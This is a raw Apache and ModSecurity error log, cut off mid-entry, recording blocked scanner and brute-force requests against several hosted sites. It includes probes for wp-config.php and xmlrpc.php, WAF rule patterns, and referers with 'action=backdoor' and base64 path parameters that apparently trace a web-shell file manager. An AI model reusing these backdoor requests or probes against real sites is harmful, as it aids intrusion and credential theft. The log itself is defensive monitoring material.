https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:21:22.246603 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.47:36288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:22.247060 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.47:36288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:22.395885 2026] [security2:error] [pid 646876:tid 646983] [remote 17.241.219.213:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30AtyTkdrNlD40tSHGVQAAdmg"] [Sat Jun 13 18:21:22.410695 2026] [http2:info] [pid 715691:tid 715691] h2_workers: created with min=128 max=192 idle_ms=600000 [Sat Jun 13 18:21:22.448911 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.68:31248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:22.449352 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.68:31248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:22.655617 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:21:22.656083 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:21:23.038846 2026] [access_compat:error] [pid 646876:tid 646889] [remote 57.141.14.39:45732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:23.039335 2026] [access_compat:error] [pid 646876:tid 646889] [remote 57.141.14.39:45732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:23.185086 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:21:23.185533 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:21:23.188768 2026] [security2:error] [pid 646876:tid 646991] [remote 17.22.253.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30A9yTkdrNlD40tSHGcAAAXnA"] [Sat Jun 13 18:21:23.188988 2026] [access_compat:error] [pid 646876:tid 646931] [remote 57.141.14.14:57958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:23.189396 2026] [access_compat:error] [pid 646876:tid 646931] [remote 57.141.14.14:57958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:23.223722 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.38:42349] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:23.224171 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.38:42349] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:23.245175 2026] [security2:error] [pid 648189:tid 648239] [remote 13.222.91.251:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30A1WSojQL4F7upKCMlQAAlRI"] [Sat Jun 13 18:21:23.245218 2026] [security2:error] [pid 648189:tid 648239] [remote 13.222.91.251:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30A1WSojQL4F7upKCMlQAAlRI"] [Sat Jun 13 18:21:23.450841 2026] [security2:error] [pid 715691:tid 715725] [remote 17.241.219.166:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 166.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30A7V-dFiaX9AtWiQTxAABIQ8"] [Sat Jun 13 18:21:23.678292 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:21:23.678580 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:21:23.747265 2026] [security2:error] [pid 646876:tid 646894] [remote 17.241.219.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30A9yTkdrNlD40tSHGhgAAGg8"] [Sat Jun 13 18:21:23.768995 2026] [security2:error] [pid 715691:tid 715885] [client 185.177.72.9:46462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai30A7V-dFiaX9AtWiQTzgAAATY"] [Sat Jun 13 18:21:23.915993 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.26:32908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:23.916610 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.26:32908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:23.973926 2026] [security2:error] [pid 648189:tid 648264] [remote 50.87.144.126:50482] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 126.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "hy-initiative.com"] [uri "/wp-login.php"] [unique_id "ai30A1WSojQL4F7upKCMngAA7yo"] [Sat Jun 13 18:21:24.152424 2026] [security2:error] [pid 715691:tid 715891] [client 172.56.168.133:14953] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30BLV-dFiaX9AtWiQT0AAAATw"] [Sat Jun 13 18:21:24.152568 2026] [security2:error] [pid 715691:tid 715891] [client 172.56.168.133:14953] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30BLV-dFiaX9AtWiQT0AAAATw"] [Sat Jun 13 18:21:24.234127 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.99:25970] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:24.234431 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.99:25970] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:24.253818 2026] [security2:error] [pid 715691:tid 715899] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/mcrypt/tests/mcrypt_get_block_size.phpt"] [unique_id "ai30BLV-dFiaX9AtWiQT1QAAAUQ"] [Sat Jun 13 18:21:24.261683 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=description&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:24.262131 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=description&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:24.323577 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:24.323903 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:24.418514 2026] [security2:error] [pid 648189:tid 648241] [remote 17.246.19.248:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 248.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30BFWSojQL4F7upKCMogAAxhQ"] [Sat Jun 13 18:21:24.767137 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.51:44716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:24.767416 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.51:44716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:24.779772 2026] [access_compat:error] [pid 715691:tid 715737] [remote 57.141.14.27:47894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:24.780046 2026] [access_compat:error] [pid 715691:tid 715737] [remote 57.141.14.27:47894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:24.792518 2026] [access_compat:error] [pid 648189:tid 648220] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:24.792815 2026] [access_compat:error] [pid 648189:tid 648220] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:24.806504 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:21:24.807042 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:21:24.837057 2026] [security2:error] [pid 715691:tid 715914] [client 210.217.96.217:17845] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30BLV-dFiaX9AtWiQT3gAAAVM"] [Sat Jun 13 18:21:24.837180 2026] [security2:error] [pid 715691:tid 715914] [client 210.217.96.217:17845] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30BLV-dFiaX9AtWiQT3gAAAVM"] [Sat Jun 13 18:21:24.970514 2026] [access_compat:error] [pid 715691:tid 715740] [remote 57.141.14.51:44730] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:24.970985 2026] [access_compat:error] [pid 715691:tid 715740] [remote 57.141.14.51:44730] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:25.022389 2026] [security2:error] [pid 715691:tid 715741] [remote 17.22.245.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30BbV-dFiaX9AtWiQT4QABWx8"] [Sat Jun 13 18:21:25.153992 2026] [security2:error] [pid 715691:tid 715743] [remote 17.246.15.146:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 146.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30BbV-dFiaX9AtWiQT4wABYiE"] [Sat Jun 13 18:21:25.235643 2026] [security2:error] [pid 648189:tid 648324] [remote 57.141.14.36:40782] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30BVWSojQL4F7upKCMqQAA-2U"], referer: https://nelsonfarmstn.com/product/tuscan-sun/?add_to_wishlist=3073&_wpnonce=dacad5c21f&add-to-cart=3153 [Sat Jun 13 